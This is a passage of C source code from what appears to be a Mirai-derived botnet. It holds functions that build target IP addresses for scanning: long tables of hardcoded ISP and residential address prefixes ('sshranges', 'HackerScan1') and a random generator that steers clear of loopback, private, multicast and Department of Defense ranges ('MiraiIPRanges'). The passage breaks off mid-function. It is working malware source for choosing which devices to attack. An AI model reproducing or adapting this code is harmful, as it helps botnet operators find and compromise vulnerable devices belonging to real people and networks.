  1554. szprintf(ip, "152.247.%d.%d", ipState[2], ipState[3]);
  1555. }
  1556. if(randnum == 43)
  1557. {
  1558. szprintf(ip, "152.248.%d.%d", ipState[2], ipState[3]);
  1559. }
  1560. if(randnum == 44)
  1561. {
  1562. szprintf(ip, "152.249.%d.%d", ipState[2], ipState[3]);
  1563. }
  1564. if(randnum == 45)
  1565. {
  1566. szprintf(ip, "182.189.%d.%d", ipState[2], ipState[3]);
  1567. }
  1568. if(randnum == 46)
  1569. {
  1570. szprintf(ip, "182.190.%d.%d", ipState[2], ipState[3]);
  1571. }
  1572. if(randnum == 47)
  1573. {
  1574. szprintf(ip, "182.191.%d.%d", ipState[2], ipState[3]);
  1575. }
  1576. if(randnum == 48)
  1577. {
  1578. szprintf(ip, "182.188.%d.%d", ipState[2], ipState[3]);
  1579. }
  1580. if(randnum == 49)
  1581. {
  1582. szprintf(ip, "182.187.%d.%d", ipState[2], ipState[3]);
  1583. }
  1584. if(randnum == 50)
  1585. {
  1586. szprintf(ip, "182.186.%d.%d", ipState[2], ipState[3]);
  1587. }
  1588. if(randnum == 51)
  1589. {
  1590. szprintf(ip, "182.185.%d.%d", ipState[2], ipState[3]);
  1591. }
  1592. if(randnum == 52)
  1593. {
  1594. szprintf(ip, "182.184.%d.%d", ipState[2], ipState[3]);
  1595. }
  1596. if(randnum == 53)
  1597. {
  1598. szprintf(ip, "179.100.%d.%d", ipState[2], ipState[3]);
  1599. }
  1600. if(randnum == 54)
  1601. {
  1602. szprintf(ip, "179.101.%d.%d", ipState[2], ipState[3]);
  1603. }
  1604. if(randnum == 55)
  1605. {
  1606. szprintf(ip, "179.102.%d.%d", ipState[2], ipState[3]);
  1607. }
  1608. if(randnum == 56)
  1609. {
  1610. szprintf(ip, "179.103.%d.%d", ipState[2], ipState[3]);
  1611. }
  1612. if(randnum == 57)
  1613. {
  1614. szprintf(ip, "179.110.%d.%d", ipState[2], ipState[3]);
  1615. }
  1616. if(randnum == 58)
  1617. {
  1618. szprintf(ip, "179.111.%d.%d", ipState[2], ipState[3]);
  1619. }
  1620. if(randnum == 59)
  1621. {
  1622. szprintf(ip, "179.112.%d.%d", ipState[2], ipState[3]);
  1623. }
  1624. if(randnum == 60)
  1625. {
  1626. szprintf(ip, "179.113.%d.%d", ipState[2], ipState[3]);
  1627. }
  1628. if(randnum == 61)
  1629. {
  1630. szprintf(ip, "179.114.%d.%d", ipState[2], ipState[3]);
  1631. }
  1632. if(randnum == 62)
  1633. {
  1634. szprintf(ip, "179.115.%d.%d", ipState[2], ipState[3]);
  1635. }
  1636. if(randnum == 63)
  1637. {
  1638. szprintf(ip, "179.116.%d.%d", ipState[2], ipState[3]);
  1639. }
  1640. if(randnum == 64)
  1641. {
  1642. szprintf(ip, "179.117.%d.%d", ipState[2], ipState[3]);
  1643. }
  1644. if(randnum == 65)
  1645. {
  1646. szprintf(ip, "191.193.%d.%d", ipState[2], ipState[3]);
  1647. }
  1648. if(randnum == 66)
  1649. {
  1650. szprintf(ip, "191.194.%d.%d", ipState[2], ipState[3]);
  1651. }
  1652. if(randnum == 67)
  1653. {
  1654. szprintf(ip, "191.195.%d.%d", ipState[2], ipState[3]);
  1655. }
  1656. if(randnum == 68)
  1657. {
  1658. szprintf(ip, "191.196.%d.%d", ipState[2], ipState[3]);
  1659. }
  1660. if(randnum == 69)
  1661. {
  1662. szprintf(ip, "191.197.%d.%d", ipState[2], ipState[3]);
  1663. }
  1664. if(randnum == 70)
  1665. {
  1666. szprintf(ip, "191.198.%d.%d", ipState[2], ipState[3]);
  1667. }
  1668. if(randnum == 71)
  1669. {
  1670. szprintf(ip, "152.250.%d.%d", ipState[2], ipState[3]);
  1671. }
  1672. if(randnum == 72)
  1673. {
  1674. szprintf(ip, "152.251.%d.%d", ipState[2], ipState[3]);
  1675. }
  1676. if(randnum == 73)
  1677. {
  1678. szprintf(ip, "152.252.%d.%d", ipState[2], ipState[3]);
  1679. }
  1680. if(randnum == 74)
  1681. {
  1682. szprintf(ip, "152.253.%d.%d", ipState[2], ipState[3]);
  1683. }
  1684. if(randnum == 75)
  1685. {
  1686. szprintf(ip, "152.254.%d.%d", ipState[2], ipState[3]);
  1687. }
  1688. if(randnum == 76)
  1689. {
  1690. szprintf(ip, "152.255.%d.%d", ipState[2], ipState[3]);
  1691. }
  1692. if(randnum == 77)
  1693. {
  1694. szprintf(ip, "177.112.%d.%d", ipState[2], ipState[3]);
  1695. }
  1696. if(randnum == 78)
  1697. {
  1698. szprintf(ip, "177.113.%d.%d", ipState[2], ipState[3]);
  1699. }
  1700. if(randnum == 79)
  1701. {
  1702. szprintf(ip, "177.114.%d.%d", ipState[2], ipState[3]);
  1703. }
  1704. if(randnum == 80)
  1705. {
  1706. szprintf(ip, "177.115.%d.%d", ipState[2], ipState[3]);
  1707. }
  1708. if(randnum == 81)
  1709. {
  1710. szprintf(ip, "177.116.%d.%d", ipState[2], ipState[3]);
  1711. }
  1712. if(randnum == 82)
  1713. {
  1714. szprintf(ip, "177.117.%d.%d", ipState[2], ipState[3]);
  1715. }
  1716. if(randnum == 83)
  1717. {
  1718. szprintf(ip, "177.118.%d.%d", ipState[2], ipState[3]);
  1719. }
  1720. if(randnum == 84)
  1721. {
  1722. szprintf(ip, "177.119.%d.%d", ipState[2], ipState[3]);
  1723. }
  1724. if(randnum == 85)
  1725. {
  1726. szprintf(ip, "177.120.%d.%d", ipState[2], ipState[3]);
  1727. }
  1728. if(randnum == 86)
  1729. {
  1730. szprintf(ip, "177.121.%d.%d", ipState[2], ipState[3]);
  1731. }
  1732. if(randnum == 87)
  1733. {
  1734. szprintf(ip, "177.138.%d.%d", ipState[2], ipState[3]);
  1735. }
  1736. if(randnum == 88)
  1737. {
  1738. szprintf(ip, "177.139.%d.%d", ipState[2], ipState[3]);
  1739. }
  1740. if(randnum == 89)
  1741. {
  1742. szprintf(ip, "177.144.%d.%d", ipState[2], ipState[3]);
  1743. }
  1744. if(randnum == 90)
  1745. {
  1746. szprintf(ip, "177.145.%d.%d", ipState[2], ipState[3]);
  1747. }
  1748. if(randnum == 91)
  1749. {
  1750. szprintf(ip, "177.146.%d.%d", ipState[2], ipState[3]);
  1751. }
  1752. if(randnum == 92)
  1753. {
  1754. szprintf(ip, "177.147.%d.%d", ipState[2], ipState[3]);
  1755. }
  1756. if(randnum == 93)
  1757. {
  1758. szprintf(ip, "177.160.%d.%d", ipState[2], ipState[3]);
  1759. }
  1760. if(randnum == 94)
  1761. {
  1762. szprintf(ip, "177.161.%d.%d", ipState[2], ipState[3]);
  1763. }
  1764. if(randnum == 95)
  1765. {
  1766. szprintf(ip, "177.162.%d.%d", ipState[2], ipState[3]);
  1767. }
  1768. if(randnum == 96)
  1769. {
  1770. szprintf(ip, "177.163.%d.%d", ipState[2], ipState[3]);
  1771. }
  1772. if(randnum == 97)
  1773. {
  1774. szprintf(ip, "177.168.%d.%d", ipState[2], ipState[3]);
  1775. }
  1776. if(randnum == 98)
  1777. {
  1778. szprintf(ip, "177.169.%d.%d", ipState[2], ipState[3]);
  1779. }
  1780. if(randnum == 99)
  1781. {
  1782. szprintf(ip, "177.170.%d.%d", ipState[2], ipState[3]);
  1783. }
  1784. if(randnum == 100)
  1785. {
  1786. szprintf(ip, "177.171.%d.%d", ipState[2], ipState[3]);
  1787. }
  1788. if(randnum == 101)
  1789. {
  1790. szprintf(ip, "177.172.%d.%d", ipState[2], ipState[3]);
  1791. }
  1792. if(randnum == 102)
  1793. {
  1794. szprintf(ip, "189.96.%d.%d", ipState[2], ipState[3]);
  1795. }
  1796. if(randnum == 103)
  1797. {
  1798. szprintf(ip, "189.97.%d.%d", ipState[2], ipState[3]);
  1799. }
  1800. if(randnum == 104)
  1801. {
  1802. szprintf(ip, "189.98.%d.%d", ipState[2], ipState[3]);
  1803. }
  1804. if(randnum == 105)
  1805. {
  1806. szprintf(ip, "189.99.%d.%d", ipState[2], ipState[3]);
  1807. }
  1808. if(randnum == 106)
  1809. {
  1810. szprintf(ip, "39.34.%d.%d", ipState[2], ipState[3]);
  1811. }
  1812. if(randnum == 107)
  1813. {
  1814. szprintf(ip, "59.103.%d.%d", ipState[2], ipState[3]);
  1815. }
  1816. if(randnum == 108)
  1817. {
  1818. szprintf(ip, "191.12.%d.%d", ipState[2], ipState[3]);
  1819. }
  1820. if(randnum == 109)
  1821. {
  1822. szprintf(ip, "186.117.%d.%d", ipState[2], ipState[3]);
  1823. }
  1824. if(randnum == 110)
  1825. {
  1826. szprintf(ip, "179.131.%d.%d", ipState[2], ipState[3]);
  1827. }
  1828. if(randnum == 111)
  1829. {
  1830. szprintf(ip, "179.129.%d.%d", ipState[2], ipState[3]);
  1831. }
  1832. if(randnum == 112)
  1833. {
  1834. szprintf(ip, "179.170.%d.%d", ipState[2], ipState[3]);
  1835. }
  1836. if(randnum == 113)
  1837. {
  1838. szprintf(ip, "191.206.%d.%d", ipState[2], ipState[3]);
  1839. }
  1840. if(randnum == 114)
  1841. {
  1842. szprintf(ip, "187.118.%d.%d", ipState[2], ipState[3]);
  1843. }
  1844. if(randnum == 115)
  1845. {
  1846. szprintf(ip, "187.116.%d.%d", ipState[2], ipState[3]);
  1847. }
  1848. if(randnum == 116)
  1849. {
  1850. szprintf(ip, "179.224.%d.%d", ipState[2], ipState[3]);
  1851. }
  1852. if(randnum == 117)
  1853. {
  1854. szprintf(ip, "179.166.%d.%d", ipState[2], ipState[3]);
  1855. }
  1856. return inet_addr(ip);
  1857. }
  1858.  
  1859. static ipv4_t MiraiIPRanges(void){
  1860.  
  1861.     uint32_t tmp;
  1862.     uint8_t o1, o2, o3, o4;
  1863.     do
  1864.     {
  1865.         tmp = rand_cmwc();
  1866.         o1 = tmp & 0xff;
  1867.         o2 = (tmp >> 8) & 0xff;
  1868.         o3 = (tmp >> 16) & 0xff;
  1869.         o4 = (tmp >> 24) & 0xff;
  1870.     }
  1871.     while (o1 == 127 ||                             // 127.0.0.0/8      - Loopback
  1872.           (o1 == 0) ||                              // 0.0.0.0/8        - Invalid address space
  1873.           (o1 == 3) ||                              // 3.0.0.0/8        - General Electric Company
  1874.           (o1 == 15 || o1 == 16) ||                 // 15.0.0.0/7       - Hewlett-Packard Company
  1875.           (o1 == 56) ||                             // 56.0.0.0/8       - US Postal Service
  1876.           (o1 == 10) ||                             // 10.0.0.0/8       - Internal network
  1877.           (o1 == 192 && o2 == 168) ||               // 192.168.0.0/16   - Internal network
  1878.           (o1 == 172 && o2 >= 16 && o2 < 32) ||     // 172.16.0.0/14    - Internal network
  1879.           (o1 == 100 && o2 >= 64 && o2 < 127) ||    // 100.64.0.0/10    - IANA NAT reserved
  1880.           (o1 == 169 && o2 > 254) ||                // 169.254.0.0/16   - IANA NAT reserved
  1881.           (o1 == 198 && o2 >= 18 && o2 < 20) ||     // 198.18.0.0/15    - IANA Special use
  1882.           (o1 >= 224) ||                            // 224.*.*.*+       - Multicast
  1883.           (o1 == 6 || o1 == 7 || o1 == 11 || o1 == 21 || o1 == 22 || o1 == 26 || o1 == 28 || o1 == 29 || o1 == 30 || o1 == 33 || o1 == 55 || o1 == 214 || o1 == 215) // Department of Defense
  1884.     );
  1885. char ip[16];
  1886. szprintf(ip, "%d.%d.%d.%d", o1,  o2, o3, o4);
  1887. return INET_ADDR(o1,o2,o3,o4);
  1888. }
  1889.  
  1890. in_addr_t sshranges(){
  1891.  
  1892. ipState[0] = 0;
  1893. ipState[1] = 0;
  1894. ipState[2] = 0;
  1895. ipState[3] = 0;
  1896. ipState[0] = rand() % 255;
  1897. ipState[1] = rand() % 255;
  1898. ipState[2] = rand() % 255;
  1899. ipState[3] = rand() % 255;
  1900. int randnum = rand() % 40;
  1901. char ip[16];
  1902. if(randnum == 0)
  1903. {
  1904. szprintf(ip, "124.105.%d.%d", ipState[2], ipState[3]);
  1905. }
  1906. if(randnum == 1)
  1907. {
  1908. szprintf(ip, "119.93.%d.%d", ipState[2], ipState[3]);
  1909. }
  1910. if(randnum == 2)
  1911. {
  1912. szprintf(ip, "122.54.%d.%d", ipState[2], ipState[3]);
  1913. }
  1914. if(randnum == 3)
  1915. {
  1916. szprintf(ip, "122.52.%d.%d", ipState[2], ipState[3]);
  1917. }
  1918. if(randnum == 4)
  1919. {
  1920. szprintf(ip, "122.3.%d.%d", ipState[2], ipState[3]);
  1921. }
  1922. if(randnum == 5)
  1923. {
  1924. szprintf(ip, "5.78.%d.%d", ipState[2], ipState[3]);
  1925. }
  1926. if(randnum == 6)
  1927. {
  1928. szprintf(ip, "91.98.%d.%d", ipState[2], ipState[3]);
  1929. }
  1930. if(randnum == 7)
  1931. {
  1932. szprintf(ip, "49.150.%d.%d", ipState[2], ipState[3]);
  1933. }
  1934. if(randnum == 8)
  1935. {
  1936. szprintf(ip, "191.80.%d.%d", ipState[2], ipState[3]);
  1937. }
  1938. if(randnum == 9)
  1939. {
  1940. szprintf(ip, "191.81.%d.%d", ipState[2], ipState[3]);
  1941. }
  1942. if(randnum == 10)
  1943. {
  1944. szprintf(ip, "191.82.%d.%d", ipState[2], ipState[3]);
  1945. }
  1946. if(randnum == 11)
  1947. {
  1948. szprintf(ip, "191.83.%d.%d", ipState[2], ipState[3]);
  1949. }
  1950. if(randnum == 12)
  1951. {
  1952. szprintf(ip, "191.84.%d.%d", ipState[2], ipState[3]);
  1953. }
  1954. if(randnum == 13)
  1955. {
  1956. szprintf(ip, "191.85.%d.%d", ipState[2], ipState[3]);
  1957. }
  1958. if(randnum == 14)
  1959. {
  1960. szprintf(ip, "122.3.%d.%d", ipState[2], ipState[3]);
  1961. }
  1962. if(randnum == 15)
  1963. {
  1964. szprintf(ip, "210.213.%d.%d", ipState[2], ipState[3]);
  1965. }
  1966. if(randnum == 16)
  1967. {
  1968. szprintf(ip, "59.69.%d.%d", ipState[2], ipState[3]);
  1969. }
  1970. if(randnum == 17)
  1971. {
  1972. szprintf(ip, "122.52.%d.%d", ipState[2], ipState[3]);
  1973. }
  1974. if(randnum == 18)
  1975. {
  1976. szprintf(ip, "122.54.%d.%d", ipState[2], ipState[3]);
  1977. }
  1978. if(randnum == 19)
  1979. {
  1980. szprintf(ip, "119.93.%d.%d", ipState[2], ipState[3]);
  1981. }
  1982. if(randnum == 20)
  1983. {
  1984. szprintf(ip, "124.105.%d.%d", ipState[2], ipState[3]);
  1985. }
  1986. if(randnum == 21)
  1987. {
  1988. szprintf(ip, "125.104.%d.%d", ipState[2], ipState[3]);
  1989. }
  1990. if(randnum == 22)
  1991. {
  1992. szprintf(ip, "119.92.%d.%d", ipState[2], ipState[3]);
  1993. }
  1994. if(randnum == 23)
  1995. {
  1996. szprintf(ip, "119.91.%d.%d", ipState[2], ipState[3]);
  1997. }
  1998. if(randnum == 24)
  1999. {
  2000. szprintf(ip, "49.144.%d.%d", ipState[2], ipState[3]);
  2001. }
  2002. if(randnum == 25)
  2003. {
  2004. szprintf(ip, "103.20.%d.%d", ipState[2], ipState[3]);
  2005. }
  2006. if(randnum == 26)
  2007. {
  2008. szprintf(ip, "103.30.%d.%d", ipState[2], ipState[3]);
  2009. }
  2010. if(randnum == 27)
  2011. {
  2012. szprintf(ip, "103.47.%d.%d", ipState[2], ipState[3]);
  2013. }
  2014. if(randnum == 28)
  2015. {
  2016. szprintf(ip, "103.57.%d.%d", ipState[2], ipState[3]);
  2017. }
  2018. if(randnum == 29)
  2019. {
  2020. szprintf(ip, "12.188.%d.%d", ipState[2], ipState[3]);
  2021. }
  2022. if(randnum == 30)
  2023. {
  2024. szprintf(ip, "12.34.%d.%d", ipState[2], ipState[3]);
  2025. }
  2026. if(randnum == 31)
  2027. {
  2028. szprintf(ip, "179.105.%d.%d", ipState[2], ipState[3]);
  2029. }
  2030. if(randnum == 32)
  2031. {
  2032. szprintf(ip, "179.152.%d.%d", ipState[2], ipState[3]);
  2033. }
  2034. if(randnum == 33)
  2035. {
  2036. szprintf(ip, "189.29.%d.%d", ipState[2], ipState[3]);
  2037. }
  2038. if(randnum == 34)
  2039. {
  2040. szprintf(ip, "189.32.%d.%d", ipState[2], ipState[3]);
  2041. }
  2042. if(randnum == 35)
  2043. {
  2044. szprintf(ip, "189.33.%d.%d", ipState[2], ipState[3]);
  2045. }
  2046. if(randnum == 36)
  2047. {
  2048. szprintf(ip, "189.34.%d.%d", ipState[2], ipState[3]);
  2049. }
  2050. if(randnum == 37)
  2051. {
  2052. szprintf(ip, "189.35.%d.%d", ipState[2], ipState[3]);
  2053. }
  2054. if(randnum == 38)
  2055. {
  2056. szprintf(ip, "189.39.%d.%d", ipState[2], ipState[3]);
  2057. }
  2058. if(randnum == 39)
  2059. {
  2060. szprintf(ip, "189.4.%d.%d", ipState[2], ipState[3]);
  2061. }
  2062. if(randnum == 40)
  2063. {
  2064. szprintf(ip, "189.54.%d.%d", ipState[2], ipState[3]);
  2065. }
  2066. return inet_addr(ip);
  2067. }
  2068.  
  2069. in_addr_t HackerScan1(){
  2070.  
  2071. ipState[0] = 0;
  2072. ipState[1] = 0;
  2073. ipState[2] = 0;
  2074. ipState[3] = 0;
  2075. ipState[0] = rand() % 223;
  2076. ipState[1] = rand() % 255;
  2077. ipState[2] = rand() % 255;
  2078. ipState[3] = rand() % 255;
  2079. int randnum = rand() % 290;
  2080. char ip[16];
  2081. if(randnum == 0)
  2082. {
  2083. szprintf(ip, "112.5.%d.%d", ipState[2], ipState[3]);
  2084. }
  2085. if(randnum == 1)
  2086. {
  2087. szprintf(ip, "117.165.%d.%d", ipState[2], ipState[3]);
  2088. }
  2089. if(randnum == 2)
  2090. {
  2091. szprintf(ip, "85.3.%d.%d", ipState[2], ipState[3]);
  2092. }
  2093. if(randnum == 3)
  2094. {
  2095. szprintf(ip, "41.252.%d.%d", ipState[2], ipState[3]);
  2096. }
  2097. if(randnum == 4)
  2098. {
  2099. szprintf(ip, "104.55.%d.%d", ipState[2], ipState[3]);
  2100. }
  2101. if(randnum == 5)
  2102. {
  2103. szprintf(ip, "78.186.%d.%d", ipState[2], ipState[3]);
  2104. }
  2105. if(randnum == 6)
  2106. {
  2107. szprintf(ip, "78.189.%d.%d", ipState[2], ipState[3]);
  2108. }
  2109. if(randnum == 7)
  2110. {
  2111. szprintf(ip, "221.120.%d.%d", ipState[2], ipState[3]);
  2112. }
  2113. if(randnum == 8)
  2114. {
  2115. szprintf(ip, "88.5.%d.%d", ipState[2], ipState[3]);
  2116. }
  2117. if(randnum == 9)
  2118. {
  2119. szprintf(ip, "41.254.%d.%d", ipState[2], ipState[3]);
  2120. }
  2121. if(randnum == 10)
  2122. {
  2123. szprintf(ip, "103.20.%d.%d", ipState[2], ipState[3]);
  2124. }
  2125. if(randnum == 11)
  2126. {
  2127. szprintf(ip, "103.47.%d.%d", ipState[2], ipState[3]);
  2128. }
  2129. if(randnum == 12)
  2130. {
  2131. szprintf(ip, "103.57.%d.%d", ipState[2], ipState[3]);
  2132. }
  2133. if(randnum == 13)
  2134. {
  2135. szprintf(ip, "45.117.%d.%d", ipState[2], ipState[3]);
  2136. }
  2137. if(randnum == 14)
  2138. {
  2139. szprintf(ip, "101.51.%d.%d", ipState[2], ipState[3]);
  2140. }
  2141. if(randnum == 15)
  2142. {
  2143. szprintf(ip, "137.59.%d.%d", ipState[2], ipState[3]);
  2144. }
  2145. if(randnum == 16)
  2146. {
  2147. szprintf(ip, "14.204.%d.%d", ipState[2], ipState[3]);
  2148. }
  2149. if(randnum == 17)
  2150. {
  2151. szprintf(ip, "27.50.%d.%d", ipState[2], ipState[3]);
  2152. }
  2153. if(randnum == 18)
  2154. {
  2155. szprintf(ip, "27.54.%d.%d", ipState[2], ipState[3]);
  2156. }
  2157. if(randnum == 19)
  2158. {
  2159. szprintf(ip, "27.98.%d.%d", ipState[2], ipState[3]);
  2160. }
  2161. if(randnum == 20)
  2162. {
  2163. szprintf(ip, "36.32.%d.%d", ipState[2], ipState[3]);
  2164. }
  2165. if(randnum == 21)
  2166. {
  2167. szprintf(ip, "36.248.%d.%d", ipState[2], ipState[3]);
  2168. }
  2169. if(randnum == 22)
  2170. {
  2171. szprintf(ip, "39.64.%d.%d", ipState[2], ipState[3]);
  2172. }
  2173. if(randnum == 23)
  2174. {
  2175. szprintf(ip, "43.253.%d.%d", ipState[2], ipState[3]);
  2176. }
  2177. if(randnum == 24)
  2178. {
  2179. szprintf(ip, "43.230.%d.%d", ipState[2], ipState[3]);
  2180. }
  2181. if(randnum == 25)
  2182. {
  2183. szprintf(ip, "163.53.%d.%d", ipState[2], ipState[3]);
  2184. }
  2185. if(randnum == 26)
  2186. {
  2187. szprintf(ip, "43.230.%d.%d", ipState[2], ipState[3]);
  2188. }
  2189. if(randnum == 27)
  2190. {
  2191. szprintf(ip, "43.245.%d.%d", ipState[2], ipState[3]);
  2192. }
  2193. if(randnum == 28)
  2194. {
  2195. szprintf(ip, "123.25.%d.%d", ipState[2], ipState[3]);
  2196. }
  2197. if(randnum == 29)
  2198. {
  2199. szprintf(ip, "103.54.%d.%d", ipState[2], ipState[3]);
  2200. }
  2201. if(randnum == 30)
  2202. {
  2203. szprintf(ip, "27.255.%d.%d", ipState[2], ipState[3]);
  2204. }
  2205. if(randnum == 31)
  2206. {
  2207. szprintf(ip, "103.204.%d.%d", ipState[2], ipState[3]);
  2208. }
  2209. if(randnum == 32)
  2210. {
  2211. szprintf(ip, "123.24.%d.%d", ipState[2], ipState[3]);
  2212. }
  2213. if(randnum == 33)
  2214. {
  2215. szprintf(ip, "113.191.%d.%d", ipState[2], ipState[3]);
  2216. }
  2217. if(randnum == 34)
  2218. {
  2219. szprintf(ip, "113.188.%d.%d", ipState[2], ipState[3]);
  2220. }
  2221. if(randnum == 34)
  2222. {
  2223. szprintf(ip, "113.189.%d.%d", ipState[2], ipState[3]);
  2224. }
  2225. if(randnum == 35)
  2226. {
  2227. szprintf(ip, "14.160.%d.%d", ipState[2], ipState[3]);
  2228. }
  2229. if(randnum == 36)
  2230. {
  2231. szprintf(ip, "14.161.%d.%d", ipState[2], ipState[3]);
  2232. }
  2233. if(randnum == 37)
  2234. {
  2235. szprintf(ip, "14.162.%d.%d", ipState[2], ipState[3]);
  2236. }
  2237. if(randnum == 38)
  2238. {
  2239. szprintf(ip, "14.163.%d.%d", ipState[2], ipState[3]);
  2240. }
  2241. if(randnum == 39)
  2242. {
  2243. szprintf(ip, "14.164.%d.%d", ipState[2], ipState[3]);
  2244. }
  2245. if(randnum == 40)
  2246. {
  2247. szprintf(ip, "14.165.%d.%d", ipState[2], ipState[3]);
  2248. }
  2249. if(randnum == 41)
  2250. {
  2251. szprintf(ip, "14.166.%d.%d", ipState[2], ipState[3]);
  2252. }
  2253. if(randnum == 42)
  2254. {
  2255. szprintf(ip, "14.167.%d.%d", ipState[2], ipState[3]);
  2256. }
  2257. if(randnum == 43)
  2258. {
  2259. szprintf(ip, "14.168.%d.%d", ipState[2], ipState[3]);
  2260. }
  2261. if(randnum == 44)
  2262. {
  2263. szprintf(ip, "14.169.%d.%d", ipState[2], ipState[3]);
  2264. }
  2265. if(randnum == 45)
  2266. {
  2267. szprintf(ip, "14.170.%d.%d", ipState[2], ipState[3]);
  2268. }
  2269. if(randnum == 46)
  2270. {
  2271. szprintf(ip, "14.171.%d.%d", ipState[2], ipState[3]);
  2272. }
  2273. if(randnum == 47)
  2274. {
  2275. szprintf(ip, "14.172.%d.%d", ipState[2], ipState[3]);
  2276. }
  2277. if(randnum == 48)
  2278. {
  2279. szprintf(ip, "14.173.%d.%d", ipState[2], ipState[3]);
  2280. }
  2281. if(randnum == 49)
  2282. {
  2283. szprintf(ip, "14.174.%d.%d", ipState[2], ipState[3]);
  2284. }
  2285. if(randnum == 50)
  2286. {
  2287. szprintf(ip, "14.175.%d.%d", ipState[2], ipState[3]);
  2288. }
  2289. if(randnum == 51)
  2290. {
  2291. szprintf(ip, "14.176.%d.%d", ipState[2], ipState[3]);
  2292. }
  2293. if(randnum == 52)
  2294. {
  2295. szprintf(ip, "14.177.%d.%d", ipState[2], ipState[3]);
  2296. }
  2297. if(randnum == 53)
  2298. {
  2299. szprintf(ip, "14.178.%d.%d", ipState[2], ipState[3]);
  2300. }
  2301. if(randnum == 54)
  2302. {
  2303. szprintf(ip, "14.179.%d.%d", ipState[2], ipState[3]);
  2304. }
  2305. if(randnum == 55)
  2306. {
  2307. szprintf(ip, "14.180.%d.%d", ipState[2], ipState[3]);
  2308. }
  2309. if(randnum == 56)
  2310. {
  2311. szprintf(ip, "14.181.%d.%d", ipState[2], ipState[3]);
  2312. }
  2313. if(randnum == 57)
  2314. {
  2315. szprintf(ip, "14.182.%d.%d", ipState[2], ipState[3]);
  2316. }
  2317. if(randnum == 58)
  2318. {
  2319. szprintf(ip, "14.183.%d.%d", ipState[2], ipState[3]);
  2320. }
  2321. if(randnum == 59)
  2322. {
  2323. szprintf(ip, "14.184.%d.%d", ipState[2], ipState[3]);
  2324. }
  2325. if(randnum == 60)
  2326. {
  2327. szprintf(ip, "14.185.%d.%d", ipState[2], ipState[3]);
  2328. }
  2329. if(randnum == 61)
  2330. {
  2331. szprintf(ip, "14.186.%d.%d", ipState[2], ipState[3]);
  2332. }
  2333. if(randnum == 62)
  2334. {
  2335. szprintf(ip, "14.187.%d.%d", ipState[2], ipState[3]);
  2336. }
  2337. if(randnum == 63)
  2338. {
  2339. szprintf(ip, "14.188.%d.%d", ipState[2], ipState[3]);
  2340. }
  2341. if(randnum == 64)
  2342. {
  2343. szprintf(ip, "14.189.%d.%d", ipState[2], ipState[3]);
  2344. }
  2345. if(randnum == 65)
  2346. {
  2347. szprintf(ip, "14.190.%d.%d", ipState[2], ipState[3]);
  2348. }
  2349. if(randnum == 66)
  2350. {
  2351. szprintf(ip, "14.191.%d.%d", ipState[2], ipState[3]);
  2352. }
  2353. if(randnum == 67)
  2354. {
  2355. szprintf(ip, "45.121.%d.%d", ipState[2], ipState[3]);
  2356. }
  2357. if(randnum == 68)
  2358. {
  2359. szprintf(ip, "45.120.%d.%d", ipState[2], ipState[3]);
  2360. }
  2361. if(randnum == 69)
  2362. {
  2363. szprintf(ip, "45.115.%d.%d", ipState[2], ipState[3]);
  2364. }
  2365. if(randnum == 70)
  2366. {
  2367. szprintf(ip, "43.252.%d.%d", ipState[2], ipState[3]);
  2368. }
  2369. if(randnum == 71)
  2370. {
  2371. szprintf(ip, "43.230.%d.%d", ipState[2], ipState[3]);
  2372. }
  2373. if(randnum == 72)
  2374. {
  2375. szprintf(ip, "43.240.%d.%d", ipState[2], ipState[3]);
  2376. }
  2377. if(randnum == 73)
  2378. {
  2379. szprintf(ip, "43.245.%d.%d", ipState[2], ipState[3]);
  2380. }
  2381. if(randnum == 74)
  2382. {
  2383. szprintf(ip, "41.174.%d.%d", ipState[2], ipState[3]);
  2384. }
  2385. if(randnum == 75)
  2386. {
  2387. szprintf(ip, "45.127.%d.%d", ipState[2], ipState[3]);
  2388. }
  2389. if(randnum == 76)
  2390. {
  2391. szprintf(ip, "103.30.%d.%d", ipState[2], ipState[3]);
  2392. }
  2393. if(randnum == 77)
  2394. {
  2395. szprintf(ip, "123.16.%d.%d", ipState[2], ipState[3]);
  2396. }
  2397. if(randnum == 78)
  2398. {
  2399. szprintf(ip, "202.44.%d.%d", ipState[2], ipState[3]);
  2400. }
  2401. if(randnum == 79)
  2402. {
  2403. szprintf(ip, "116.93.%d.%d", ipState[2], ipState[3]);
  2404. }
  2405. if(randnum == 80)
  2406. {
  2407. szprintf(ip, "41.253.%d.%d", ipState[2], ipState[3]);
  2408. }
  2409. if(randnum == 81)
  2410. {
  2411. szprintf(ip, "117.173.%d.%d", ipState[2], ipState[3]);
  2412. }
  2413. if(randnum == 82)
  2414. {
  2415. szprintf(ip, "113.190.%d.%d", ipState[2], ipState[3]);
  2416. }
  2417. if(randnum == 83)
  2418. {
  2419. szprintf(ip, "112.196.%d.%d", ipState[2], ipState[3]);
  2420. }
  2421. if(randnum == 84)
  2422. {
  2423. szprintf(ip, "113.178.%d.%d", ipState[2], ipState[3]);
  2424. }
  2425. if(randnum == 85)
  2426. {
  2427. szprintf(ip, "112.45.%d.%d", ipState[2], ipState[3]);
  2428. }
  2429. if(randnum == 86)
  2430. {
  2431. szprintf(ip, "183.223.%d.%d", ipState[2], ipState[3]);
  2432. }
  2433. if(randnum == 87)
  2434. {
  2435. szprintf(ip, "116.71.%d.%d", ipState[2], ipState[3]);
  2436. }
  2437. if(randnum == 88)
  2438. {
  2439. szprintf(ip, "103.44.%d.%d", ipState[2], ipState[3]);
  2440. }
  2441. if(randnum == 89)
  2442. {
  2443. szprintf(ip, "110.235.%d.%d", ipState[2], ipState[3]);
  2444. }
  2445. if(randnum == 90)
  2446. {
  2447. szprintf(ip, "124.253.%d.%d", ipState[2], ipState[3]);
  2448. }
  2449. if(randnum == 91)
  2450. {
  2451. szprintf(ip, "211.237.%d.%d", ipState[2], ipState[3]);
  2452. }
  2453. if(randnum == 92)
  2454. {
  2455. szprintf(ip, "117.175.%d.%d", ipState[2], ipState[3]);
  2456. }
  2457. if(randnum == 93)
  2458. {
  2459. szprintf(ip, "117.173.%d.%d", ipState[2], ipState[3]);
  2460. }
  2461. if(randnum == 94)
  2462. {
  2463. szprintf(ip, "111.9.%d.%d", ipState[2], ipState[3]);
  2464. }
  2465. if(randnum == 95)
  2466. {
  2467. szprintf(ip, "222.252.%d.%d", ipState[2], ipState[3]);
  2468. }
  2469. if(randnum == 96)
  2470. {
  2471. szprintf(ip, "113.174.%d.%d", ipState[2], ipState[3]);
  2472. }
  2473. if(randnum == 97)
  2474. {
  2475. szprintf(ip, "222.252.%d.%d", ipState[2], ipState[3]);
  2476. }
  2477. if(randnum == 98)
  2478. {
